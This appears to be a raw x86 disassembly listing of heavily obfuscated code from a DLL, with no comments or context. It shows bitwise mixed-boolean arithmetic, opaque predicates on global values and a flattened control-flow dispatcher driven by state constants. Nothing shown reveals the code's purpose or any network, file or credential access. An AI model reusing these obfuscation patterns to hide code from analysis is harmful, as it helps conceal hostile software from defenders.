mov ecx, esi
not ecx
mov eax, ecx
mov edi, ecx
and eax, 0xbd38858a
mov edx, esi
mov ebx, esi
and edx, 0x42c77a75
or edx, eax
mov eax, edx
xor eax, 0x24a00
xor edx, 0xa020858a
mov ecx, edx
or ecx, 0x3d02045
and ecx, 0xc3d134dd
and eax, 0x2022cb02
or eax, ecx
xor esi, 0xe023df9a
and esi, ebx
mov ecx, esi
not ecx
or edx, ecx
and ecx, 0xc3d134dd
and esi, 0x3c2ecb22
or esi, ecx
xor esi, eax
mov eax, ebx
not edx
or edx, esi
not esi
and esi, 0x19980044
and edx, 0x80024a08
or edx, esi
mov dword [ebp - 0x1c], edi
mov ecx, edi
and ecx, 0x22430030
and eax, 0x10023c0
or eax, ecx
mov ecx, ebx
xor ecx, 0x234323f0
and ecx, ebx
xor eax, 0x10023c0
or ecx, eax
mov dword [ebp - 0x18], ecx
xor ecx, 0x79b4ad9e
and ecx, ebx
mov dword [ebp - 0x14], ecx
mov ecx, ebx
mov eax, edi
and eax, 0x95370b2a
and ecx, 0x6ac8f4d5
or ecx, eax
mov eax, ecx
xor eax, 0x6ac8f4d5
xor ecx, 0x1017030a
and ecx, 0x5a5fe7da
mov esi, eax
and esi, 0xa5a01825
or esi, ecx
xor esi, 0xc3c5ad96
and eax, 0x999a4a4c
or eax, esi
mov ecx, edx
not ecx
mov esi, edx
xor esi, eax
and esi, edx
and ecx, 0x9cae1b19
and edx, 0x1104044
or edx, ecx
mov ecx, eax
not ecx
and eax, 0x9cae1b19
and ecx, 0x6351e4e6
or ecx, eax
xor ecx, edx
mov eax, esi
not eax
mov edx, eax
and edx, 0x5fedd1a3
and esi, 0x80120a4c
or esi, edx
mov edx, ecx
not edx
or eax, edx
and edx, 0x5fedd1a3
and ecx, 0xa0122e5c
or ecx, edx
xor ecx, esi
not eax
or eax, ecx
mov esi, eax
xor esi, 0x60419132
mov edx, eax
xor edx, 0x999a4a4c
and esi, 0x705bdb3a
xor eax, 0xbd15bbac
and eax, edx
and edx, 0x8fa424c5
or edx, esi
mov edi, edx
xor edi, 0x8fa424c5
mov ecx, edx
xor ecx, 0x54d42ada
and ecx, edi
mov esi, ecx
not esi
mov ebx, esi
and ebx, 0x1ab37d62
and ecx, 0xe54c829d
or ecx, ebx
mov ebx, eax
not ebx
or esi, ebx
and ebx, 0x1ab37d62
and eax, 0xe54c829d
or eax, ebx
xor eax, ecx
not esi
or esi, eax
xor edx, 0x7013d110
and edx, 0x74b7d111
mov eax, edi
and eax, 0x8b482eee
or eax, edx
xor eax, 0x2e405f7f
and edi, 0x5af78e6e
or edi, eax
xor esi, 0x81878071
not edi
or edi, esi
mov esi, edi
not esi
mov ecx, dword [ebp - 0x18]
xor ecx, 0x864b5261
mov eax, dword [ebp - 0x1c]
and eax, ecx
mov edx, dword [ebp - 0x14]
or edx, eax
not edx
or edx, ecx
mov dword [ebp - 0x14], edx
mov eax, edi
and eax, 0x10810402
mov ecx, esi
and ecx, 0x8c422181
or ecx, eax
xor ecx, 0x8c422181
mov ebx, esi
and ebx, 0x633cda7c
or ebx, ecx
mov dword [ebp - 0x28], ebx
mov eax, edx
not eax
mov ecx, edx
and ecx, 0xc044202
mov edx, eax
and edx, 0x33334a0
or edx, ecx
xor edx, 0x33334a0
mov ecx, dword [ebp - 0x14]
and ecx, 0xf0c8895d
or ecx, edx
mov dword [ebp - 0x24], ecx
mov edx, ebx
xor edx, 0x633cda7c
mov dword [ebp - 0x1c], edx
mov ecx, ebx
xor ecx, 0x9cc32583
mov dword [ebp - 0x18], ecx
and ecx, 0x212033
and edx, 0x13928a44
or edx, ecx
mov ecx, edx
xor ecx, 0x2020844
or ecx, 0xec084080
xor edx, 0x202020
and edx, 0x11b0a220
and ecx, 0xee0b48d7
or ecx, edx
and esi, 0xc74f4eb8
mov edx, edi
and edx, 0x38b0b147
or edx, esi
xor edx, 0xd4fce4cf
and edi, 0x13b3aa77
or edi, edx
mov edx, dword [ebp - 0x24]
mov esi, edx
not esi
mov dword [ebp - 0x20], esi
and esi, 0xec4c5588
and edx, 0x13b3aa77
or edx, esi
mov dword [ebp - 0x2c], edx
mov edx, dword [ebp - 0x14]
mov esi, edx
and esi, 0x13b3aa77
and eax, 0xec4c5588
or eax, esi
xor edx, eax
and edx, eax
mov dword [ebp - 0x14], edx
mov eax, edi
not eax
mov esi, edi
and esi, 0x23daaeac
xor edi, 0x2b878f27
and edi, eax
and eax, 0xdc255153
or eax, esi
mov esi, ecx
xor esi, 0xee0b48d7
mov edx, ecx
xor ecx, 0x3a73380f
mov ebx, ecx
and ecx, esi
xor edx, 0x11f4b728
mov dword [ebp - 0x30], edx
and ebx, edx
mov esi, ebx
not esi
mov edx, esi
and edx, 0x907aa44
and ebx, 0x92b8003b
or ebx, edx
mov edx, ecx
not edx
or esi, edx
and edx, 0x4d47fac4
and ecx, 0x12b00033
or ecx, edx
xor ecx, ebx
not esi
or esi, ecx
mov ebx, eax
xor ebx, 0x582088
or ebx, 0x2b878f27
mov ecx, eax
xor eax, 0x10000040
mov edx, ebx
and edx, 0xe5f0ffbc
and eax, 0x10080040
or eax, edx
mov edx, edi
not edx
or ebx, edx
and edx, 0xe5f0ffbc
and edi, 0x1a0f0043
or edi, edx
xor edi, eax
not ebx
or ebx, edi
mov eax, ebx
xor eax, ebx
not eax
and eax, esi
xor eax, ebx
xor ecx, 0xdc255153
or ecx, dword [ebp - 0x30]
mov edi, eax
not edi
mov edx, edi
and edx, 0x7634679a
and eax, 0x89cb9865
or eax, edx
or edi, ecx
and ecx, 0x77b7efff
xor ecx, eax
xor ecx, 0x1838865
not edi
or edi, ecx
mov ecx, dword [ebp - 0x2c]
not ecx
or ecx, dword [ebp - 0x20]
mov esi, ecx
not esi
mov eax, ecx
and eax, 0xd658a7eb
mov ebx, esi
and ebx, 0x29a75814
or ebx, eax
mov eax, ebx
xor eax, 0x29a75814
mov dword [ebp - 0x2c], eax
xor ebx, 0xa5547c23
and ebx, eax
mov eax, ebx
not eax
mov edx, eax
and edx, 0x26a2d9ef
and ebx, 0xd95d2610
or ebx, edx
or ecx, 0x730cdbc8
or eax, ecx
and ecx, 0x26a2d9ef
and esi, 0x88512410
or esi, ecx
xor esi, ebx
not eax
or eax, esi
mov esi, dword [ebp - 0x14]
xor eax, esi
not esi
or esi, dword [ebp - 0x2c]
mov ecx, eax
xor ecx, 0x9180
xor eax, 0x8cf32437
mov edx, eax
and edx, 0xf70f4a5d
and ecx, 0x8f0b5a2
or ecx, edx
xor ecx, esi
or eax, esi
xor ecx, 0x8f0b5a2
not eax
or eax, ecx
mov ecx, eax
xor ecx, 0xc2110042
xor eax, 0x8006014
and eax, 0x298ce99d
and ecx, 0xd6731662
or ecx, eax
xor ecx, edi
mov dword [ebp - 0x14], ecx
mov edi, dword [ebp - 0x24]
mov ecx, edi
xor ecx, 0xece10f8
and ecx, edi
mov eax, dword [ebp - 0x20]
and eax, 0xfbff4a9a
and edi, 0x400b565
or edi, eax
mov ebx, dword [ebp - 0x28]
xor ebx, 0x6df2ca84
mov eax, ebx
and eax, dword [ebp - 0x18]
mov edx, eax
not edx
mov esi, edx
and esi, 0xdce2d02e
and eax, 0x231d2fd1
or eax, esi
and ebx, dword [ebp - 0x1c]
mov esi, ebx
not esi
or edx, esi
and esi, 0xdce2d02e
and ebx, 0x231d2fd1
or ebx, esi
xor ebx, eax
not edx
or edx, ebx
mov eax, edi
xor eax, 0xfbff4a9a
mov dword [ebp - 0x20], eax
or eax, 0xf131ef07
mov ebx, edi
xor edi, 0x4001000
mov esi, eax
and esi, 0xa1480176
and edi, 0xe861088
or edi, esi
mov esi, ecx
not esi
or eax, esi
and esi, 0xa1480176
and ecx, 0x5eb7fe89
or ecx, esi
xor ecx, edi
not eax
or eax, ecx
mov edi, eax
xor edi, eax
not edi
and edi, edx
xor edi, eax
mov esi, dword [ebp - 0x1c]
mov eax, esi
and eax, 0xe1d4b9e1
mov ecx, dword [ebp - 0x18]
and ecx, 0x1e2b461e
or ecx, eax
xor ebx, 0x4000404
mov eax, dword [ebp - 0x20]
or esi, eax
and eax, 0xe1d4b9e1
and ebx, 0x1e2b461e
or ebx, eax
xor ebx, ecx
mov edx, dword [ebp - 0x14]
mov eax, edx
xor eax, 0xca116056
not esi
or esi, ebx
not esi
or esi, edi
mov ecx, esi
not ecx
xor edx, 0x35ee9fa9
and ecx, edx
or edx, esi
not edx
and esi, eax
or esi, ecx
or esi, edx
mov ecx, esi
not ecx
mov edx, esi
mov eax, esi
and edx, 0x2b5cd84e
mov esi, ecx
and esi, 0x10002190
or esi, edx
mov edi, esi
xor edi, 0x10002190
mov dword [ebp - 0x14], edi
mov edx, ecx
and edx, 0x3b5cf9de
and eax, 0xc4a30621
or eax, edx
lea edx, [edi - 0x3fddfc00]
xor ecx, eax
and ecx, eax
mov eax, esi
xor eax, 0x218c84e
and edx, 0xe9661490
and eax, 0x1218e94e
or eax, edx
mov edx, ecx
not edx
mov ebx, ecx
xor ebx, 0x69157dce
and ebx, edx
and ecx, 0x96ea8231
or ecx, ebx
mov edi, eax
xor edi, 0x29001000
or edi, 0x84c00031
mov ebx, eax
xor eax, 0x112002
and edi, 0xadc0597d
and eax, 0x152482
or eax, edi
mov edi, dword [ebp - 0x14]
or edi, 0xed80596d
xor esi, 0x2088000
and edi, 0xedc0597d
and esi, 0x12088000
or esi, edi
xor ebx, 0x1699eb6f
xor esi, ecx
xor esi, eax
or edx, ebx
mov eax, edx
not eax
mov ecx, esi
not ecx
mov edi, ecx
and edi, 0xb24de5a2
and esi, 0x4db21a5d
or esi, edi
or ecx, edx
and edx, 0xb24de5a2
and eax, 0x910185c
or eax, edx
xor eax, esi
not ecx
or ecx, eax
mov edx, ecx
mov eax, ecx
xor eax, 0x9e54884f
and eax, ecx
or ecx, 0x61ab77b0
not edx
mov esi, eax
not esi
mov edi, ecx
and edi, 0x821ba7a3
and edx, 0x1c44084c
or edx, edi
or ecx, esi
and esi, 0x821ba7a3
and eax, 0x7de4585c
or eax, esi
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0xdf005b86
mov esi, eax
and esi, 0x399928b
and ecx, 0xfc666d74
or ecx, esi
xor ecx, 0xc8b98249
or ecx, eax
and eax, 0x20ffa479
or eax, edx
mov edx, eax
xor edx, 0x20ffa479
xor eax, 0x5a004100
and eax, 0x7abbc568
mov esi, edx
and esi, 0x85443a97
or esi, eax
xor esi, 0xb19bd5aa
and edx, 0xcb2010c2
or edx, esi
mov eax, edx
xor eax, edx
not eax
and eax, ecx
xor eax, edx
or edx, ecx
not edx
or eax, edx
mov ecx, eax
xor ecx, 0xcb2010c2
mov esi, eax
xor esi, 0x34dfef3d
xor eax, 0x608e9d02
and eax, ecx
mov edi, ecx
mov ebx, esi
and ebx, 0xea98999e
mov edx, ecx
and ecx, 0x15676661
or ecx, ebx
or edi, 0x1001203e
and edi, 0x3aabac3e
xor ecx, 0xc7ef0ff2
or ecx, esi
and esi, 0x810401c0
or esi, edi
mov edi, eax
not edi
or edx, edi
and edi, 0x3aabac3e
and eax, 0xc55453c1
or eax, edi
xor eax, esi
not edx
or edx, eax
not eax
and eax, 0x5451723f
and edx, 0xabae8dc0
or edx, eax
mov esi, edx
not esi
mov eax, esi
and eax, 0xb287b24c
mov edi, edx
mov dword [ebp - 0x14], edx
and edi, 0x4d784db3
or edi, eax
mov eax, edi
xor eax, 0x4d784db3
xor edi, 0x90832208
and edi, 0xd49b6e99
mov ebx, eax
and ebx, 0x2b649166
or ebx, edi
xor ebx, 0xf9ecf8f5
and eax, 0x2d77966c
or eax, ebx
mov edi, eax
or edi, ecx
xor ecx, eax
mov eax, ecx
not eax
mov ebx, eax
and ebx, 0x79adca6d
and ecx, 0x86523592
or ecx, ebx
xor ecx, edi
xor ecx, 0x86523592
or eax, edi
not eax
or eax, ecx
mov edi, edx
xor edi, 0xafd1db89
and edi, esi
mov ecx, edi
not ecx
mov ebx, ecx
and ebx, 0x374b281c
and edi, 0xc8b4d7e3
or edi, ebx
mov ebx, esi
or ebx, 0xafd1db89
or ecx, ebx
and ebx, 0x374b281c
mov edx, dword [ebp - 0x14]
and edx, 0x40240462
or edx, ebx
xor edx, edi
not ecx
or ecx, edx
mov edi, ecx
xor edi, 0x50222020
xor ecx, 0xafd1db89
mov edx, ecx
and edx, 0xad4d5d5f
and edi, 0x52b2a2a0
or edi, edx
or ecx, esi
and esi, 0xad4d5d5f
mov edx, dword [ebp - 0x14]
and edx, 0x52b2a2a0
or edx, esi
xor edx, edi
not ecx
or ecx, edx
mov edx, ecx
not edx
mov esi, edx
and esi, 0x8600180c
mov edi, ecx
and edi, 0x8058430
or edi, esi
mov esi, edi
xor esi, 0x18410
xor edi, 0x22921901
and edi, 0x2a961921
and esi, 0x8401841c
or esi, edi
mov edi, eax
xor edi, 0xd2886993
or edx, 0xa041820
and edx, 0x2a961921
and ecx, 0x516862c2
or ecx, edx
xor ecx, esi
mov edx, ecx
xor ecx, 0x8e059c3c
mov esi, edi
xor esi, ecx
and esi, edi
xor eax, 0x5068044
and eax, 0x950ec055
and edi, 0x6af13faa
or edi, eax
xor edx, 0x60f02382
and ecx, 0x950ec055
and edx, 0x6af13faa
or edx, ecx
xor edx, edi
mov eax, esi
not eax
mov ecx, eax
and ecx, 0x9ec3de20
and esi, 0x613c21df
or esi, ecx
mov ecx, edx
not ecx
or eax, ecx
and ecx, 0x9ec3de20
and edx, 0x613c21df
or edx, ecx
xor edx, esi
not eax
or eax, edx
mov edx, eax
not edx
mov ecx, edx
and ecx, eax
mov esi, eax
and esi, 0x9ff87bee
and edx, 0x60078411
or edx, esi
mov esi, ecx
not esi
or eax, esi
and esi, 0x9ff87bee
and ecx, 0x60078411
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x256e9c14
and eax, 0xda9163eb
or eax, ecx
mov ecx, eax
xor ecx, 0x4008000
xor eax, 0xda9163eb
mov edx, eax
and edx, 0xe0c20445
and ecx, 0xe11a208
or ecx, edx
xor ecx, 0xe11a208
and eax, 0x112c59b2
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, eax
and ecx, 0xcad8d1df
and eax, 0x35272e20
or eax, ecx
xor eax, 0xcad8d1df
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xc48f7093
and eax, 0x3b708f6c
or eax, ecx
mov ecx, eax
xor ecx, 0x40f7013
xor eax, 0x13100a20
and eax, 0xd3900aa0
and ecx, 0x2c6ff55f
or ecx, eax
xor ecx, 0x2c6ff55f
sete bl
setne dl
cmp dword [0x10049904], 0xa
setge cl
setl ah
mov dh, ah
xor dh, dl
and dh, dl
mov al, ah
and al, bl
mov byte [ebp - 0x14], al
mov byte [ebp - 0x18], bl
mov bh, bl
xor bh, ah
and bl, bh
and bh, ah
mov ch, bl
xor ch, 1
xor bl, bh
xor bh, 1
or bh, ch
mov al, cl
xor bh, 1
or bh, bl
mov ch, dl
and ch, cl
mov bl, byte [ebp - 0x18]
xor bl, cl
xor bh, 1
or bh, cl
or cl, dl
xor cl, 1
or cl, dh
and al, cl
xor cl, 1
mov dh, cl
xor dh, ah
and dh, cl
and cl, ah
or cl, al
xor dh, 1
xor cl, 1
mov al, dh
xor al, cl
or cl, dh
xor cl, 1
or cl, al
or ch, byte [ebp - 0x14]
or dl, ah
xor dl, 1
or dl, bl
xor ch, 1
mov al, ch
xor al, dl
or ch, dl
xor ch, 1
or ch, al
mov ah, ch
xor ah, 1
and ah, ch
xor ah, 1
mov al, ch
xor al, ah
or ah, ch
xor ah, 1
or ah, al
mov al, ah
xor al, 1
mov edx, eax
and dl, ah
mov ch, al
xor ch, dl
xor dl, 1
or dl, ah
xor dl, 1
or dl, ch
mov ah, dl
xor ah, 1
mov ch, bh
and ah, bh
xor bh, 1
xor ch, al
and ch, bh
or al, bh
xor al, 1
or al, ch
mov ch, dl
xor ch, bh
and ch, dl
and dl, bh
or dl, ah
mov ah, ch
xor ah, 1
xor ch, dl
xor dl, 1
or dl, ah
xor dl, 1
or dl, ch
mov dh, al
xor dh, 1
mov ch, dl
mov bl, dh
xor dh, dl
mov ah, dl
xor ah, 1
and ch, al
and bl, ah
or bl, ch
mov ch, cl
xor ch, 1
or ah, al
xor ah, 1
or ah, dh
xor ah, 1
or ah, bl
mov dl, ah
xor dl, 1
mov al, cl
xor al, ah
and al, cl
mov dh, dl
and dh, ch
and ah, cl
or ah, dh
or al, ah
or dl, ch
xor dl, 1
xor cl, ah
and cl, ah
xor cl, dl
xor cl, 1
and dl, cl
xor dl, 1
mov ah, dl
xor ah, cl
or dl, cl
xor dl, 1
or dl, ah
mov ah, dl
xor ah, 1
mov dh, dl
and dh, ah
mov cl, ah
xor cl, dh
xor dh, 1
mov ch, dl
or ch, dh
xor ch, 1
or ch, cl
mov cl, al
xor cl, 1
or dh, ah
mov ah, ch
xor dh, 1
or dh, dl
and ch, cl
xor cl, dh
and cl, dh
or dh, al
xor cl, 1
mov dl, cl
xor dl, dh
or cl, dh
xor ah, 1
xor cl, 1
or cl, dl
mov edx, eax
xor dl, ah
and dl, al
and ah, al
or ah, ch
mov al, dl
xor al, 1
xor dl, ah
xor ah, 1
or ah, al
xor ah, 1
or ah, dl
xor cl, 1
mov edx, ecx
xor dl, ah
or cl, ah
mov ch, cl
xor ch, dl
test cl, 1
mov eax, 0xbc50b464
mov esi, 0xf7a2ce2
cmovne eax, esi
test dl, 1
cmove eax, esi
test ch, 1
mov ecx, 0xbc50b464
cmove eax, ecx
jmp 0x1000f5c0
cmp eax, 0xf7a2ce2
je 0x10020aa5
cmp eax, 0x11f249c6
je 0x10020aaf
cmp eax, 0x1467bbb2
jne 0x1000f5c0
mov eax, 0x5de31238
jmp 0x1000f5c0
cmp eax, 0xc95c0907
je 0x10021413
cmp eax, 0xcd618f43
jne 0x1000f5c0
mov eax, 0x51c8f4c8
jmp 0x1000f5c0
cmp eax, 0x513cbc81
je 0x10021428
cmp eax, 0x51c8f4c8
jne 0x1000f5c0
mov eax, dword [ebp - 0x50]
mov eax, dword [0x10049900]
lea ecx, [eax + 1]
imul ecx, eax
mov edi, ecx
not edi
mov eax, ecx
mov esi, ecx
or eax, 0xd4db9281
mov ecx, eax
and ecx, 0xbb220bf0
mov edx, edi
and edx, 0x4640e
or edx, ecx
mov ecx, esi
xor ecx, 0x2b246d7e
and ecx, esi
mov ebx, esi
mov esi, ecx
not esi
or eax, esi
and esi, 0xbb220bf0
and ecx, 0x44ddf40f
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
xor ecx, 0xc4910080
xor eax, 0x3042056
and eax, 0x134eb257
and ecx, 0xecb14da8
or ecx, eax
mov eax, ecx
xor eax, 0xecb14da8
xor ecx, 0x14a2255
and ecx, 0xe1ea6e5d
mov edx, eax
and edx, 0x1e1591a2
or edx, ecx
xor edx, 0x546b40d1
and eax, 0xb5812e8c
or eax, edx
mov ecx, ebx
and ecx, 0x1e90937b
mov edx, edi
and edx, 0xe16f6c84
or edx, ecx
xor edx, 0x54ee4208
mov ecx, edi
mov dword [ebp - 0x14], edi
and ecx, 0x4a7ed173
or ecx, edx
mov edx, eax
not edx
mov esi, edx
xor esi, ecx
and esi, edx
and eax, 0xb881a19a
and edx, 0x477e5e65
or edx, eax
xor edx, ecx
xor edx, 0x477e5e65
or edx, esi
mov ecx, edx
not ecx
mov eax, edx
xor eax, 0xb5812e8c
and eax, edx
or edx, 0x4a7ed173
mov esi, edx
and esi, 0x3c9215b6
and ecx, 0x81012a08
or ecx, esi
mov esi, eax
not esi
or edx, esi
and esi, 0x3c9215b6
and eax, 0xc36dea49
or eax, esi
xor eax, ecx
not edx
or edx, eax
mov ecx, edx
mov eax, edx
xor eax, 0x65132544
and eax, edx
or edx, 0x9aecdabb
not ecx
mov esi, edx
and esi, 0x8d5d5f1f
and ecx, 0x60022040
or ecx, esi
mov esi, eax
not esi
or edx, esi
and esi, 0x8d5d5f1f
and eax, 0x72a2a0e0
or eax, esi
xor eax, ecx
not edx
or edx, eax
mov ecx, edx
xor ecx, 0x9aecdabb
xor edx, 0x2140
mov eax, ecx
or eax, 0xf93d55ae
and edx, 0xaa471f8
and ecx, 0xf55b8e06
or ecx, edx
mov edx, ecx
xor edx, 0x4428a00
xor ecx, 0x82451a8
and ecx, 0xf93d55ae
and edx, 0x6c2aa50
or edx, ecx
and eax, 0xf93d55af
xor eax, edx
mov esi, eax
not esi
mov ecx, esi
and ecx, 0x1c2a825a
and eax, 0xe3d57da5
or eax, ecx
xor eax, 0x1c2a825b
xor esi, eax
and esi, eax
mov ecx, edi
and ecx, 0xa2020402
mov eax, ebx
and eax, 0x4008ebec
or eax, ecx
mov ecx, eax
xor ecx, 0x40004888
xor eax, 0x99511413
and eax, 0x9959b777
and ecx, 0x62024888
or ecx, eax
mov edx, edi
or edx, 0x8008a766
and edx, 0x9959b777
mov eax, ebx
mov edi, ebx
mov dword [ebp - 0x1c], ebx
and eax, 0x4a40000
or eax, edx
xor eax, ecx
mov ebx, eax
xor ebx, 0x1df51010
xor eax, 0x220ace81
mov ecx, ebx
and ecx, 0xcdd0316e
and eax, 0x322fce91
or eax, ecx
mov ecx, edi
and ecx, 0xcdd0316e
mov edx, dword [ebp - 0x14]
and edx, 0x322fce91
or edx, ecx
xor edx, eax
or ebx, edi
not ebx
or ebx, edx
mov eax, ebx
not eax
mov ecx, ebx
and ecx, 0x835acb28
mov edx, eax
and edx, 0x7ca534d7
or edx, ecx
not esi
xor edx, 0x7ca534d7
or edx, esi
xor ebx, esi
and ebx, eax
or esi, eax
mov edi, ebx
not edi
mov eax, edi
and eax, 0x4fc07613
and ebx, 0xb03f89ec
or ebx, eax
xor ebx, esi
or edi, esi
xor ebx, 0xb03f89ec
not edi
or edi, ebx
mov eax, edi
not eax
mov dword [ebp - 0x18], eax
and eax, 0x71de8165
mov ecx, edi
xor ecx, 0x71de8165
and ecx, edi
or ecx, eax
mov dword [ebp - 0x20], ecx
mov eax, edx
xor eax, 0x8e217e9a
mov ebx, eax
and ebx, edx
mov ecx, edx
mov dword [ebp - 0x24], edx
mov edx, ebx
not edx
mov esi, edx
and esi, 0xbe14dd22
and ebx, 0x41eb22dd
or ebx, esi
mov esi, ecx
not esi
and eax, esi
mov ecx, eax
not ecx
or edx, ecx
and ecx, 0xbe14dd22
and eax, 0x41eb22dd
or eax, ecx
xor eax, ebx
not edx
or edx, eax
xor edx, dword [ebp - 0x20]
mov eax, esi
and eax, 0x78804823
mov ecx, dword [ebp - 0x24]
and ecx, 0x877fb7dc
or ecx, eax
or esi, edi
and edi, 0x78804823
mov eax, dword [ebp - 0x18]
and eax, 0x877fb7dc
or eax, edi
xor eax, ecx
not esi
or esi, eax
not esi
or esi, edx
mov edx, esi
not edx
and esi, 0x20e7f37
and edx, 0xfdf180c8
or edx, esi
mov eax, edx
xor eax, 0x41180c0
xor edx, 0x20e7f37
and eax, 0x41188c0
mov ecx, edx
and ecx, 0x604a1125
or ecx, eax
xor ecx, 0x41188c0
and edx, 0x9ba4661a
or edx, ecx
mov dword [ebp - 0x18], edx
mov edx, dword [ebp - 0x1c]
mov eax, edx
or eax, 0x922c997f
mov ecx, eax
and ecx, 0x7b88d364
mov ebx, dword [ebp - 0x14]
mov esi, ebx
and esi, 0x4532480
or esi, ecx
mov ecx, edx
xor ecx, 0x6dd36680
and ecx, edx
mov edi, ecx
not edi
or eax, edi
and edi, 0x7b88d364
and ecx, 0x84772c9b
or ecx, edi
xor ecx, esi
not eax
or eax, ecx
mov ecx, eax
xor ecx, 0x240109
xor eax, 0x49902600
and eax, 0xdb98be76
and ecx, 0x24674189
or ecx, eax
mov eax, ecx
xor eax, 0x4460088
and eax, 0xfde3aa8
xor ecx, 0xd0008456
and ecx, 0xf021c557
or ecx, eax
mov esi, ecx
xor esi, 0xfde3aa8
and esi, ecx
mov ecx, ebx
and ecx, 0xb7df9d43
mov eax, edx
and eax, 0x482062bc
or eax, ecx
mov edi, eax
xor edi, 0x482062bc
xor eax, 0xa3d60500
and eax, 0xebf66520
mov ecx, eax
mov eax, edi
and eax, 0x14099adf
or eax, ecx
xor eax, 0x1bd7a077
and edi, 0xf021c557
or edi, eax
mov ebx, esi
not ebx
mov ecx, esi
xor ecx, 0x3323d5ea
and ecx, ebx
and esi, 0xccdc2a15
or esi, ecx
or ebx, edi
xor edi, 0xccdc2a15
mov ecx, edi
xor ecx, edi
not ecx
and ecx, esi
xor ecx, edi
not ebx
or ebx, ecx
mov edi, dword [ebp - 0x18]
mov esi, edi
not esi
mov dword [ebp - 0x14], esi
and esi, 0x469b7dd0
and edi, 0xb964822f
or edi, esi
mov ecx, edi
xor ecx, 0x1008027
xor edi, 0x469b7dd0
mov esi, edi
and esi, 0xfc773218
and ecx, 0x388cde7
or ecx, esi
mov esi, ebx
xor esi, 0xfde3aa8
xor ebx, 0xf021c557
mov edx, esi
and edx, 0xfc773218
mov eax, ebx
and eax, 0x388cde7
or eax, edx
xor eax, ecx
or edi, esi
not edi
or edi, eax
mov edx, ebx
mov eax, dword [ebp - 0x14]
xor edx, eax
and edx, esi
and ebx, 0xa55d4554
and esi, 0x5aa2baab
or esi, ebx
xor esi, eax
xor esi, 0x5aa2baab
and esi, dword [ebp - 0x18]
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x74daec1f
and edx, 0x8b2513e0
or edx, ecx
mov ecx, esi
not ecx
or eax, ecx
and ecx, 0x74daec1f
and esi, 0x8b2513e0
or esi, ecx
xor esi, edx
not eax
or eax, esi
mov ecx, eax
not ecx
mov edx, edi
or edx, ecx
not edx
and ecx, 0x575a5f19
and eax, 0xa8a5a0e6
or eax, ecx
xor eax, edi
xor eax, 0xa8a5a0e6
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
xor edx, 0x178c6e7f
and edx, eax
mov esi, ecx
and esi, 0x40630aa
and eax, 0xfbf9cf55
or eax, esi
xor eax, 0x41eae9c
or eax, ecx
and ecx, 0x178c6e7f
or edx, ecx
mov ecx, edx
xor ecx, 0x28030180
xor edx, 0x17000049
and edx, 0xd7600049
and ecx, 0x28876180
or ecx, edx
mov edi, ecx
xor edi, 0x20040080
or edi, 0x89006
xor ecx, 0x86200040
and ecx, 0x8ea36140
and edi, 0x714c908f
or edi, ecx
mov edx, edi
xor edx, 0x714c908f
xor edi, 0x8e024620
mov ecx, eax
not ecx
and edi, 0xdf0646af
mov esi, edx
and esi, 0x20e12140
or esi, edi
xor esi, 0x20f9b950
mov edi, eax
and edi, 0x355df6fe
xor eax, 0x3b9758fe
and eax, ecx
mov ebx, ecx
and ebx, 0xcaa20901
or ebx, edi
mov ecx, ebx
xor ecx, 0xcaa20901
xor ebx, 0xf13551ff
and ebx, ecx
or ecx, esi
and esi, 0xc460a701
and edx, 0x3b8740c8
or edx, esi
or eax, ebx
xor eax, edx
xor eax, 0x80000
not ecx
or ecx, eax
mov eax, ecx
xor eax, 0x89c22
xor ecx, 0xffe761c9
and eax, 0x54cc9c22
mov edx, ecx
and edx, 0x80002288
or edx, eax
xor edx, 0x54cc9c22
and ecx, 0x2b334155
or ecx, edx
mov eax, ecx
not eax
mov edx, ecx
and edx, 0xc00111c0
and eax, 0x3ffeee3f
or eax, edx
xor eax, 0x3ffeee3f
or eax, ecx
xor eax, 0xffffffff
setne byte [ebp - 0x18]
sete cl
cmp dword [0x10049904], 0xa
setl byte [ebp - 0x14]
setge ch
mov byte [ebp - 0x1c], ch
mov ah, ch
inc ah
mov al, ch
and al, ah
mov edx, eax
xor dl, 1
or dl, ch
xor dl, 1
or dl, ah
or al, dl
mov ch, al
xor ch, 1
mov dh, dl
xor dh, 1
mov ah, dl
and ah, dh
xor ah, 1
or ah, dh
xor ah, 1
or ah, dl
mov dl, ah
xor dl, 1
and ah, dl
xor ah, 1
mov dh, ah
xor dh, dl
or ah, dl
xor ah, 1
or ah, dh
mov bl, ah
xor bl, 1
mov bh, ch
and bh, al
xor bh, 1
mov dl, bh
xor dl, ch
or bh, ch
xor bh, 1
or bh, dl
mov dl, bh
xor dl, 1
and ch, dl
or dl, al
and bh, al
or bh, ch
xor bh, 1
mov al, dl
xor al, bh
or bh, dl
xor bh, 1
or bh, al
mov al, bh
xor al, 1
mov dh, ah
and dh, bl
xor dh, 1
mov dl, dh
xor dl, bl
or dh, bl
xor dh, 1
or dh, dl
mov dl, bh
or dl, dh
xor dh, 1
or dh, al
mov ch, dh
xor ch, dl
or dh, dl
xor dh, 1
or dh, ch
and bh, ah
and bl, al
or bl, bh
or al, ah
xor al, 1
or al, bl
mov ah, al
xor ah, 1
mov dl, al
and dl, ah
xor dl, 1
or dl, ah
xor dl, 1
or dl, al
mov ah, dl
and ah, dh
xor dh, 1
xor dl, 1
and dl, dh
or dl, ah
or dh, al
xor dh, 1
or dh, dl
mov al, dh
xor al, 1
and dh, al
xor dh, 1
mov dl, dh
xor dl, al
or dh, al
xor dh, 1
or dh, dl
xor dh, 1
mov al, dh
mov bh, cl
xor al, cl
mov byte [ebp - 0x20], al
mov ah, byte [ebp - 0x1c]
mov dl, ah
movzx ecx, byte [ebp - 0x14]
xor dl, cl
mov ch, dl
xor ch, 1
mov al, dl
and al, ch
xor al, 1
or al, ch
xor al, 1
or al, dl
mov ch, al
xor ch, 1
mov bl, ah
or bl, al
xor bl, 1
mov dl, ch
or dl, cl
xor dl, 1
or dl, bl
or ch, ah
xor ch, 1
xor al, cl
or al, ch
xor dl, 1
mov bl, al
xor bl, dl
or dl, al
xor bl, 1
mov eax, edx
xor al, bl
or bl, dl
xor bl, 1
or bl, al
mov cl, bh
mov al, bh
xor al, bl
mov byte [ebp - 0x24], al
xor bl, 1
